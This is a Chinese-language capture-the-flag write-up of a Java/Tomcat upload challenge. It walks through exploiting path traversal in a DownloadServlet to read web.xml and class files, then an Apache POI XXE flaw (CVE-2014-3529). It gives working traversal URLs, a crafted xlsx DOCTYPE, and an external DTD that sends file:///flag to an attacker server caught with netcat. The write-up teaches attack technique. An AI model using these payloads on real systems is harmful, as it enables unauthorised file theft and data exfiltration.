题目截图

7FF0587D-D9AC-458E-8DD3-0C263593BA60.png

思路

查看源码

1、查看源码,唯一有点用信息:./UploadServlet.

735D51EB-4734-4018-BEAC-F669EB4EFFD8.png

2、随便上传一个文件,用Burpsuite抓包,发现新的URL地址:/DownloadServlet?filename=a6c672c9-a74c-4701-abfc-97d68e3c681d_dog.png

3、Burpsuite拦截下载文件请求URL,访问DownloadServlet?filename=…/确定存在文件包含漏洞,并且泄露tomcat的绝对路径。

CAF8DB34-D321-4C92-BACE-26A647A448CA.png

4、文件包含漏洞+知道tomcat绝对路径,第一个想到的是查看WEB-INF/web.xml,访问 DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml 或者 /DownloadServlet?filename=../../../web.xml 获取 web.xml

3EC14B95-0F62-4CBC-8445-7BD08234F3EB.png

5、下载源码


DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

6、使用jd-gui反编译检查源码

E10DAD6F-7BA9-43AF-819F-0211A28639E9.png

UploadServlet.java有对excel-***.xlsx文件的判断,猜测是Apache POI XML外部实体漏洞

excel和xxe的漏洞的结合,CVE-2014-3529

参考:https://www.jianshu.com/p/73cd11d83c30

7、构造上传文件

首先,本地创建excel-aaa.xlsx文件,修改后缀名为zip后右键解压文件

编辑文件[Content_Types].xml,在

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>与<Types xmlns=“http://schemas.openxmlformats.org/package/2006/content-types">

之间添加内容:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

重新打包为zip文件后修改后缀名为xlsx

8、构造远程监控

构造 file.dtd 文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://远程服务器IP:7777?p=%file;'>">

file.dtd 上传到远程服务器

9、nc 监控

启动监控 : nc -lvvp 7777

如果 nc -lvvp 7777nc: getnameinfo: Temporary failure in name resolution,那么就使用 nc -lvnp 7777

一切准备就绪,上传excel-aaa.xlsx文件

10、查看nc监控,获取flag

5BB56EDC-D1EE-482F-9F0E-71BC4EFFE11C.png